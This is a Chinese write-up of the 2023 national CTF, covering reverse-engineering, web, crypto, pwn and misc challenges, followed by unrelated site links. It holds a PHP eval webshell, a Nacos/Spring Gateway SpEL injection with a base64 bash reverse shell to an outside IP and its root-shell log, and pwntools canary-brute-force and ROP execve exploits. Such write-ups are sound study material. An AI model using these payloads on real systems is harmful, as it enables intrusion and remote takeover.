CTF国赛2023 - ukfc（四道逆向已下班）

news2024/11/23 8:17:57
  • 没啥好说的，惜败
  • 已复现：badkey1、国粹、ezbyte、moveAside、ezAndroid

Notice：复现时候的一些题解来源于各大战队的wp，比如F61d，侵删

Re

ezbyte

  • 首先跟踪很容易分析到前后缀
    在这里插入图片描述

  • 至于里面的，得知道是dwarf字节码，要不然根本动不了手

  • 打开

kali readelf -wf ezbyte

  • 可以看到下面的逻辑
 DW_OP_constu: 2616514329260088143; 
  DW_OP_constu: 1237891274917891239; 
  DW_OP_constu: 1892739; 
  DW_OP_breg12 (r12): 0; 
  DW_OP_plus;
  DW_OP_xor; 
  DW_OP_xor; 
  
  DW_OP_constu: 8502251781212277489; 
  DW_OP_constu: 1209847170981118947; 
  DW_OP_constu: 8971237; 
  DW_OP_breg13 (r13): 0; 
  DW_OP_plus;
  DW_OP_xor; 
  DW_OP_xor; 
  DW_OP_or; 

  DW_OP_constu: 2451795628338718684; 
  DW_OP_constu: 1098791727398412397; 
  DW_OP_constu: 1512312; 
  DW_OP_breg14 (r14): 0; 
  DW_OP_plus;
  DW_OP_xor; 
  DW_OP_xor; 
  DW_OP_or; 

  DW_OP_constu: 8722213363631027234; 
  DW_OP_constu: 1890878197237214971; 
  DW_OP_constu: 9123704; 
  DW_OP_breg15 (r15): 0; 
  DW_OP_plus;
  DW_OP_xor; 
  DW_OP_xor; 
  DW_OP_or

直接逆逻辑就完了，以前没见过写不出来就很烦

x1=2616514329260088143
y1=1237891274917891239
res1=1892739

x2=8502251781212277489
y2=1209847170981118947
res2=8971237

x3=2451795628338718684
y3=1098791727398412397
res3=1512312

x4=8722213363631027234
y4=1890878197237214971
res4=9123704


s = [(x1^y1)-res1,(x2^y2)-res2,(x3^y3)-res3,(x4^y4)-res4]
print('flag{',end='')
for i in s:
    for j in range(8):
        print(chr(i & 0xff),end='')
        i = i >> 8
print('3861}')
# flag{e609efb5-e70e-4e94-ac69-ac31d96c3861}

babyRE

  • https://snap.berkeley.edu用题目给的网站打开文件运行
  • 看到加密逻辑就是简单遍历异或

在这里插入图片描述

  • 在生成密文的位置添加打印输出逻辑，获取密文
    在这里插入图片描述
  • 写脚本
#include<bits/stdc++.h>
using namespace std;
int main()
{
  int a[100] = {102,10,13,6,28,74,3,1,3,7,85,0,4,75,20,92,92,8,28,25,81,83,7,28,76,88,9,0,29,73,0,86,4,87,87,82,84,85,4,85,87,30};
  for(int i = 1; i < 100; i++){
    a[i] ^= a[i-1];
  }
  for(int i = 0; i < 100; i++){
    cout <<(char)a[i];
  }
  return 0;
}
//flag{12307bbf-9e91-4e61-a900-dd26a6d0ea4c}

movAside

  • 借助队内大爹的思路

  • ltrace跟踪判断出是逐字节比对，而且用的是单表替换

  • 密文
    在这里插入图片描述

  • 直接把strcmp变为puts函数，然后逐字节爆破
    在这里插入图片描述

from pwn import *
context(log_level='debug')
# 密文
flag = [0x67, 0x9D, 0x60, 0x66, 0x8A, 0x56, 0x49, 0x50, 0x65, 0x65, 
  0x60, 0x55, 0x64, 0x5C, 0x65, 0x48, 0x50, 0x51, 0x5C, 0x55, 
  0x67, 0x51, 0x57, 0x5C, 0x49, 0x67, 0x54, 0x63, 0x5C, 0x54, 
  0x62, 0x52, 0x56, 0x54, 0x54, 0x50, 0x49, 0x53, 0x52, 0x52, 
  0x56, 0x8C]
flag1 = ''
index = 0
while True:
	for i in range(33, 127):
		p = process("./moveAside")
		# input your 。。。回显
		p.recvline()
		# 输入
		p.sendline(chr(i).encode())
		# 题目中的原样输出
		p.recvline()
		# 修改的strcmpputs回显
		a = p.recvline().decode('ISO-8859-1').strip('\n')
		print(flag1)
		# 回显可对应密文则加上输入
		if index == len(flag):
			break
		if ord(a) == flag[index]:
			index += 1
			flag1 += chr(i)
		p.close()
print(flag1)

在这里插入图片描述

ezAndroid

  • 这题真的太牛马了，一直以为让找密码，想偏了

  • 定位
    在这里插入图片描述

  • 下面的代码没做过滤，有遍历文件漏洞，所以可以做路径穿越，直接找flag文件就行了，抽象
    在这里插入图片描述

Web

unzip

  • L.zip

    • bello
    /var/www/html

  • R.zip

    • bello

      • bello.php

        <?php
eval($_REQUEST['a']);
?>

先传入L文件，在传入R文件，然后

bello.php?a=system(%27cat%20/flag%27);

dumpit

访问

?db=ctf&table_2_dump=flag1%0Aenv?db=ctf&table_2_dump=flag%0Aenv:?db=ctf&table_2_dump=flag1%0Aenv

?db=ctf&table_2_dump=flag1%0Aenv

BackendService

小明拿到了内网一个老旧服务的应用包，虽然有漏洞但是怎么利用他呢？[注意：平台题目下发后请访问/nacos路由]

  1. 审计代码发现如下
spring:
	cloud:
		nacos:
			discovery:
				server-addr: 127.0..1:8888
			config:
				name: backcfg
				file-extension: json
				group: DEFAULT_GROUP
				server-addr: 127.0.0.1:8888

nacos

https://blog.csdn.net/qq_49849300/article/details/129781776

CVE-2022-22947

https://blog.csdn.net/qq_64973687/article/details/130059155

  1. PUT 方式访问
/nacos/v1/auth/users?accessToken=&username=nacos&newPassword=nacos
  1. 然后配置列表添加

ID:

backcfg

配置格式改成 yaml

配置内容:

{
    "spring": {
        "cloud": {
            "gateway": {
                "routes": [
                    {
                        "id": "exam",
                        "order": 0,
                        "uri": "lb://backendservice",
                        "predicates": [
                            "Path=/echo/**"
                        ],
                        "filters": [
                            {
                                "name": "AddResponseHeader",
                                "args": {
                                    "name": "result",
                                    "value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(\"bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEyNC4yMjAuMjM1LjE0OC85MDk5IDA+JjE=}|{base64,-d}|{bash,-i}\").getInputStream())).replaceAll('\n','').replaceAll('\r','')}"
                                }
                            }
                        ]
                    }
                ]
            }
        }
    }
}

[root@VM-4-9-centos ~]# nc -lvp 9099
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::9099
Ncat: Listening on 0.0.0.0:9099
Ncat: Connection from 39.106.20.178.
Ncat: Connection from 39.106.20.178:26278.
[root@engine-1 nacos]# pwd      
pwd
/home/nacos
[root@engine-1 nacos]# whoami
whoami
root
[root@engine-1 nacos]# cd /
cd /
[root@engine-1 /]# ls
ls
anaconda-post.log
bin
dev
etc
flag
home
lib
lib64
media
mnt
opt
proc
root
run
run.sh
sbin
srv
sys
tmp
usr
var
[root@engine-1 /]# cat /flag
cat /flag
flag{ecbef35d-a618-492e-8935-15f45553096a}

Crypto

基于国密SM2算法的密钥密文分发

  • 直接按着文件给的方法操作就行
  • 具体内容涉及个人隐私不上传了

Sign_in_passwd

  • 变表base64
j2rXjx8yjd=YRZWyTIuwRdbyQdbqR3R9iZmsScutj2iqj3/tidj1jd=D
GHI3KLMNJOPQRSTUb%3DcdefghijklmnopWXYZ%2F12%2B406789VaqrstuvwxyzABCDEF5

在这里插入图片描述

可信计算1

非预期解法，后面被修复了

ssh连接上后进入上上级目录，ls一下有一个proc文件夹

利用通配符寻找所有路径中的环境信息：

cat /proc/*/task/*/environ

其中有flag，找到即可

badkey1

  • 前面的sha256爆破很简单，主要是后面的valuerror
  • 查了RSA.py其实就下面这一种情况可行，比赛时候想到了，但是不会做
            if Integer(n).gcd(d) != 1:
                raise ValueError("RSA private exponent is not coprime to modulus")
  • wp是用贝祖定理生成一个d是p的倍数，不过没看懂gcdext的参数是什么意思，逆向手难崩
def find_q(p, e):
    for k in range(2, e):
        g, x, y = gmpy2.gcdext(p * e, -k * (p - 1))
        if g != 1:
            continue
        q = y + 1
        if q.bit_length() == 512 and gmpy2.is_prime(q):
            return q
    return None


e = 65537
while True:
    p = getPrime(512)
    q = find_q(p, e)
    if q is not None:
        n = p * q
        d = gmpy2.invert(e, (p - 1) * (q - 1))
        print(gmpy2.gcd(d, n))
        print(f"{p = }\n{q = }")
        break
  • 然后就是求出的pq在本地异常处理时候报的是typrerror，但实际应该是valuerror，很抽象

Pwn

funcanary

漏洞分析：

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  __pid_t v3; // [rsp+Ch] [rbp-4h]

  sub_1243(a1, a2, a3);
  while ( 1 )
  {
    v3 = fork();
    if ( v3 < 0 )
      break;
    if ( v3 )
    {
      wait(0LL);
    }
    else
    {
      puts("welcome");
      sub_128A();
      puts("have fun");
    }
  }
  puts("fork error");
  exit(0);
}

fork：创建一个进程

wait：进程上锁

sub_128A：

unsigned __int64 sub_128A()
{
  char buf[104]; // [rsp+0h] [rbp-70h] BYREF
  unsigned __int64 v2; // [rsp+68h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  read(0, buf, 0x80uLL);
  return v2 - __readfsqword(0x28u);
}

有canary，原题：CSDN Canary学习（爆破Canary）

由此我们可以爆破canary onebyone

while len(canary) <8:
    for i in range(0,256):
        io.send(p1+canary+chr(i))
        #gdb.attach(io)
        st=io.recvuntil('welcome')
        if b"have fun" in st:
            canary+=chr(i)
            print(canary)
            break
        if i == 255:
            print("[-] Exploit failed")
            sys.exit(-1)

canary=u64(canary)
print('canary:',hex(canary))

程序是有pie的，我们直接修改下两位地址即可。

可以确定的是最后三位地址一定不会发生变化，那只需要对第四位爆破0xf位地址即可

由此可以布置栈帧

payload=b’a’*0x68+p64(canary)+p64(0xdeadbeef)+p16(x)

这里面x是0x1228+0x1000*i，即改变第四位

完整exp：

from pwn import *
context(log_level='debug',arch='amd64',os='linux')

#io=process('./funcanary')
io=remote('47.93.187.243',20227)

io.recvuntil('welcome')

p1='a'*0x68

canary='\x00'

while len(canary) <8:
    for i in range(0,256):
        io.send(p1+canary+chr(i))
        #gdb.attach(io)
        st=io.recvuntil('welcome')
        if b"have fun" in st:
            canary+=chr(i)
            print(canary)
            break
        if i == 255:
            print("[-] Exploit failed")
            sys.exit(-1)

canary=u64(canary)
print('canary:',hex(canary))

#gdb.attach(io)
for i in range(0xe):
    x=0x1228+0x1000*i
    payload=b'a'*0x68+p64(canary)+p64(0xdeadbeef)+p16(x)
    io.send(payload)
    io.recvuntil('welcome')

io.interactive()

shaokao

漏洞分析：

主要函数：

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // edx
  int v4; // ecx
  int v5; // er8
  int v6; // er9
  unsigned int v8; // [rsp+Ch] [rbp-4h]

  welcome(argc, argv, envp);
  v8 = menu();
  if ( v8 <= 5 )
    __asm { jmp     rax }
  printf((unsigned int)&unk_4B7008, (_DWORD)argv, v3, v4, v5, v6);
  exit(0LL);
}

menu:

__int64 __fastcall menu(__int64 a1, __int64 a2, int a3, int a4, int a5, int a6)
{
  int v6; // edx
  int v7; // ecx
  int v8; // er8
  int v9; // er9
  unsigned int v11; // [rsp+Ch] [rbp-4h] BYREF

  printf((unsigned int)&unk_4B7040, (unsigned int)&name, a3, a4, a5, a6);
  puts("1. 啤酒");
  puts("2. 烤串");
  puts("3. 钱包余额");
  puts("4. 承包摊位");
  if ( own )
    puts("5. 改名");
  puts("0. 离开");
  putchar(62LL);
  putchar(32LL);
  _isoc99_scanf((unsigned int)&unk_4B70B3, (unsigned int)&v11, v6, v7, v8, v9);
  return v11;
}

改名函数：

__int64 gaiming()
{
  int v0; // edx
  int v1; // ecx
  int v2; // er8
  int v3; // er9
  char v5[32]; // [rsp+0h] [rbp-20h] BYREF

  puts(&unk_4B71C0);//烧烤摊儿已归你所有，请赐名：
  _isoc99_scanf((unsigned int)&unk_4B71EB, (unsignedC int)v5, v0, v1, v2, v3);
  j_strcpy_ifunc(&name, v5);
  return 0LL;
}

这个函数中，%s读取字节无上限，导致缓冲区可以溢出到返回地址，由此我们着重进入这个函数并执行rop链。

menu中，我们要进入改名函数，则必须使own为1，own为1的条件在vip中：

__int64 vip()
{
  puts("老板，你这摊儿，我买了");
  if ( money <= 100000 )
  {
    puts("没钱别瞎捣乱");
  }
  else
  {
    money -= 100000;
    own = 1;
    puts("成交");
  }
  return 0LL;
}

也就是说必须让money变成100000以上才可以承包摊位。

pijiu和chuan非常相近，只展示一个：

__int64 pijiu()
{
  int v0; // edx
  int v1; // ecx
  int v2; // er8
  int v3; // er9
  int v4; // edx
  int v5; // ecx
  int v6; // er8
  int v7; // er9
  int v9; // [rsp+8h] [rbp-8h] BYREF
  int v10; // [rsp+Ch] [rbp-4h] BYREF

  v10 = 1;
  v9 = 1;
  puts("1. 青岛啤酒");
  puts("2. 燕京U8");
  puts("3. 勇闯天涯");
  _isoc99_scanf((unsigned int)&unk_4B70B3, (unsigned int)&v10, v0, v1, v2, v3);
  puts("来几瓶？");
  _isoc99_scanf((unsigned int)&unk_4B70B3, (unsigned int)&v9, v4, v5, v6, v7);
  if ( 10 * v9 >= money )
    puts("诶哟，钱不够了");
  else
    money += -10 * v9;
  puts("咕噜咕噜...");
  returnC 0LL;
}

没有负数检查，直接减掉10*v9，那我们可以减掉一个大负数使得money大于100000。

最后直接进行一个rop链的构造：（ROPgadget）

#!/usr/bin/env python3
# execve generated by ROPgadget

from struct import pack

# Padding goes here
p = b''

p += pack('<Q', 0x000000000040a67e) # pop rsi ; ret
p += pack('<Q', 0x00000000004e60e0) # @ .data
p += pack('<Q', 0x0000000000458827) # pop rax ; ret
p += b'/bin//sh'
p += pack('<Q', 0x000000000045af95) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x000000000040a67e) # pop rsi ; ret
p += pack('<Q', 0x00000000004e60e8) # @ .data + 8
p += pack('<Q', 0x0000000000447339) # xor rax, rax ; ret
p += pack('<Q', 0x000000000045af95) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x000000000040264f) # pop rdi ; ret
p += pack('<Q', 0x00000000004e60e0) # @ .data
p += pack('<Q', 0x000000000040a67e) # pop rsi ; ret
p += pack('<Q', 0x00000000004e60e8) # @ .data + 8
p += pack('<Q', 0x00000000004a404b) # pop rdx ; pop rbx ; ret
p += pack('<Q', 0x00000000004e60e8) # @ .data + 8
        p += pack('<Q', 0x4141414141414141) # padding
p += pack('<Q', 0x0000000000447339) # xor rax, rax ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000402404) # syscall

命令:

 ROPgadget --binary ./shaokao --ropchain

完整exp：

from pwn import *
from struct import *
context(log_level='debug',arch='amd64',os='linux')

#elf=ELF('./shaokao')
#io=remote('39.105.58.194',35270)
#io=process('./shaokao')

io.recvuntil('> ')
io.sendline(b'1')
io.recvuntil('3. 勇闯天涯\n')
io.sendline(b'3')
io.recvuntil('来几瓶？')
io.sendline(b'-10000000')
io.recvuntil('> ')
io.sendline(b'4')
io.recvuntil('> ')
io.sendline(b'5')
io.recvuntil('请赐名：')

p = b'a'*0x28

p += pack('<Q', 0x000000000040a67e) # pop rsi ; ret
p += pack('<Q', 0x00000000004e60e0) # @ .data
p += pack('<Q', 0x0000000000458827) # pop rax ; ret
p += b'/bin//sh'
p += pack('<Q', 0x000000000045af95) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x000000000040a67e) # pop rsi ; ret
p += pack('<Q', 0x00000000004e60e8) # @ .data + 8
p += pack('<Q', 0x0000000000447339) # xor rax, rax ; ret
p += pack('<Q', 0x000000000045af95) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x000000000040264f) # pop rdi ; ret
p += pack('<Q', 0x00000000004e60e0) # @ .data
p += pack('<Q', 0x000000000040a67e) # pop rsi ; ret
p += pack('<Q', 0x00000000004e60e8) # @ .data + 8
p += pack('<Q', 0x00000000004a404b) # pop rdx ; pop rbx ; ret
p += pack('<Q', 0x00000000004e60e8) # @ .data + 8
p += pack('<Q', 0x4141414141414141) # padding
p += pack('<Q', 0x0000000000447339) # xor rax, rax ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000402404) # syscall

io.sendline(p)

io.interactive()

Misc

签到卡

  • 直接打开flag文件即可

  • print(open(‘/flag’).read())

pyshell

>>'print'
'print'
>>_+"(op"
'print(op'
>>_+"en("
'print(open('
>>_+"'/f"
"print(open('/f"
>>_+"lag"
"print(open('/flag"
>>_+"')."
"print(open('/flag')."
>>_+"rea"
"print(open('/flag').rea"
>>_+"d()"
"print(open('/flag').read()"
>>_+")"
"print(open('/flag').read())"
>>exec(_)
flag{40f1b2d9-572b-4006-b0ec-28fae07171fa}

国粹

  • 没想到是散点图，往base85+词频想了，寄
  • a文件对应x，k文件对应y（都是341张牌），然后数值就是牌在题目中出现的顺序
  • 按坐标排点就行
import numpy as np
from PIL import Image
class test():
    # 初始化类的实例
    def __init__(self):
        # 从文件中读取图像 a、k 和题目，并将它们转换为 NumPy 数组
        self.a = np.array(Image.open("./a.png"))
        self.k = np.array(Image.open('./k.png'))
        self.img = np.array(Image.open('./题目.png'))
        # 调用 img_make 方法来获得单张牌的尺寸信息
        self.img_make()
        # 调用 dic 方法来创建一个字典并生成结果图像
        self.dic()

    # img_make 方法用于计算单张牌的尺寸信息
    def img_make(self):
        # 获取题目图像的形状信息
        lst_img = self.img.shape
        # 计算单张牌的高度、宽度和通道数
        self.part = (lst_img[0] // 2, lst_img[1] // 43, lst_img[2])

    # dic 方法用于创建一个字典并生成结果图像
    def dic(self):
        # 初始化一个空字典
        dic = {}
        # 遍历题目图像中的每个部分并将其添加到字典中
        for n, x in enumerate(range(self.part[1], self.img.shape[1], self.part[1])):
            dic[self.img[0:self.part[0], x:x + self.part[1], :self.part[2] - 1].tobytes()] = n
        # 使用字典将图像 a 和 k 转换为数值列表
        self.a = [dic[self.a[:, x:x + self.part[1]].tobytes()] for x in range(0, self.a.shape[1], self.part[1])]
        self.k = [dic[self.k[:, x:x + self.part[1]].tobytes()] for x in range(0, self.k.shape[1], self.part[1])]
        # 建立二维全0矩阵
        result = np.zeros((max(self.a), max(self.k)), dtype=np.uint8)
        # 按照ak的坐标将一些元素置1
        result[np.array(self.a) - 1, np.array(self.k) - 1] = 1
        resimg = Image.fromarray(result * 255)
        resimg.show()
if __name__ == "__main__":
    test()

被加密的生产流量

192.168.1.130和192.168.1.164追踪TCP流

..........MM.....
..
.....)..............YW.....
..
.....)....	.........MX	....
..
.r........
.........3G
....
..
.r..................NE.....
..
.r.=...t............YW.....
..
...=...t..
.........OX
....
..
...=...t._..........ZR.....
..
........._..........GA.....
..
........._..........YD.....
..
....................A=.....
..
....................==.....

……

把同色字体连起来base32

MMYWMX3FNEYWOXZRGAYDA===

套flag{}

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.coloradmin.cn/o/597169.html

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈，一经查实，立即删除！

相关文章

哪个牌子的电容笔好用?Apple Pencil平替

哪个牌子的电容笔好用?Apple Pencil平替

随着时代的进步&#xff0c;数码产品在人们日常生活中的使用频率越来越高&#xff0c;一个iPad和一支电容笔似乎已然成为人们主要的学习工具了。电容笔的发展速度很快&#xff0c;在众多的电容笔牌子中&#xff0c;什么牌子好用又便宜&#xff1f;下面&#xff0c;我来给大家推…
阅读更多...
深度学习进阶篇[8]：对抗神经网络GAN基本概念简介、纳什均衡、生成器判别器、解码编码器详解以及GAN应用场景

深度学习进阶篇[8]：对抗神经网络GAN基本概念简介、纳什均衡、生成器判别器、解码编码器详解以及GAN应用场景

【深度学习入门到进阶】必看系列&#xff0c;含激活函数、优化策略、损失函数、模型调优、归一化算法、卷积模型、序列模型、预训练模型、对抗神经网络等 专栏详细介绍&#xff1a;【深度学习入门到进阶】必看系列&#xff0c;含激活函数、优化策略、损失函数、模型调优、归一化…
阅读更多...
FastReport Business Graphics .NET 2023.1 Crack

FastReport Business Graphics .NET 2023.1 Crack

FastReport 商业图形 .NET .NET WinForms 的数据可视化库 使用 FastReport 业务图形库&#xff0c;您可以可视化不同层次的数据&#xff0c;构建业务图表以供进一步分析和决策。 所有这些都可以直接在您的应用程序中工作&#xff01; 利用 .NET 7、.NET Core、Blazor、ASP.NE…
阅读更多...
数据采集学习心得

数据采集学习心得

数据采集是指从互联网或其他数据源中收集数据的过程。在当今信息时代&#xff0c;数据采集已经成为了一项非常重要的技能。无论是在商业领域还是学术领域&#xff0c;数据采集都是非常必要的。本文将分享我在学习数据采集过程中的心得体会。 一、数据采集的重要性 在当今信息…
阅读更多...
高考即将到来，如何选择大学和专业？（2023版本）

高考即将到来，如何选择大学和专业？（2023版本）

同学们&#xff0c;高考又快到了&#xff0c;怎么选择大学和专业一直是同学们心烦的事情&#xff0c;正所谓“选择大于努力”&#xff0c;选择错了&#xff0c;努力方向自然就错了&#xff0c;事倍功半&#xff0c;甚至南辕北辙&#xff0c;所以对此我们必需慎之又慎&#xff0…
阅读更多...
Mybatis自定义分页插件及PageHelper源码分析

Mybatis自定义分页插件及PageHelper源码分析

文章目录 前言一、自定义一个简单的mybatis分页插件&#xff1f;1.判断当前传参是不是一个Page&#xff0c;如果是page就进行转换。2.分页查询总条数3.修改原有sql4.执行原有方法5.存在问题&#xff1a; 二、PageHelper分析1.PageHelper简介2.PageHelper源码分析 三&#xff1a…
阅读更多...
概率论：假设检验

概率论：假设检验

参考书目&#xff1a;《行为科学统计精要》&#xff08;第八版&#xff09;——弗雷德里克J格雷维特 1、假设检验预备知识 Z分位数样本均值的分布标准误 参考&#xff1a; 概率论&#xff1a;样本与总体分布&#xff0c;Z分数与概率_格勒王的博客-CSDN博客如何理解样本和整体…
阅读更多...
Linux入门到进阶

Linux入门到进阶

文章目录 前言一、第一章-初识Linux1.初识Linux2.虚拟机介绍3.VMware Workstation安装4.在VMware上安装Linux5.远程连接Linux系统6.扩展&#xff1a;WSL&#xff08;Windows Subsystem for Linux&#xff09;7.扩展&#xff1a;虚拟机快照 二、第二章-Linux基础命令1.Linux的目…
阅读更多...
AMEYA360：纳芯微推出车规级耐高压、三线霍尔开关及锁存器NSM101x系列

AMEYA360：纳芯微推出车规级耐高压、三线霍尔开关及锁存器NSM101x系列

纳芯微推出全新三线制车规霍尔效应开关/锁存器NSM101x系列&#xff0c;为数字位置检测提供高精度的解决方案&#xff0c;可被广泛应用于汽车执行器等的位置检测。 NSM101x产品系列包含了3个产品型号&#xff0c;即NSM1011(单极霍尔开关)、NSM1012(全极霍尔开关)、NSM1013(霍尔锁…
阅读更多...
oracle19c介绍和windows上安装

oracle19c介绍和windows上安装

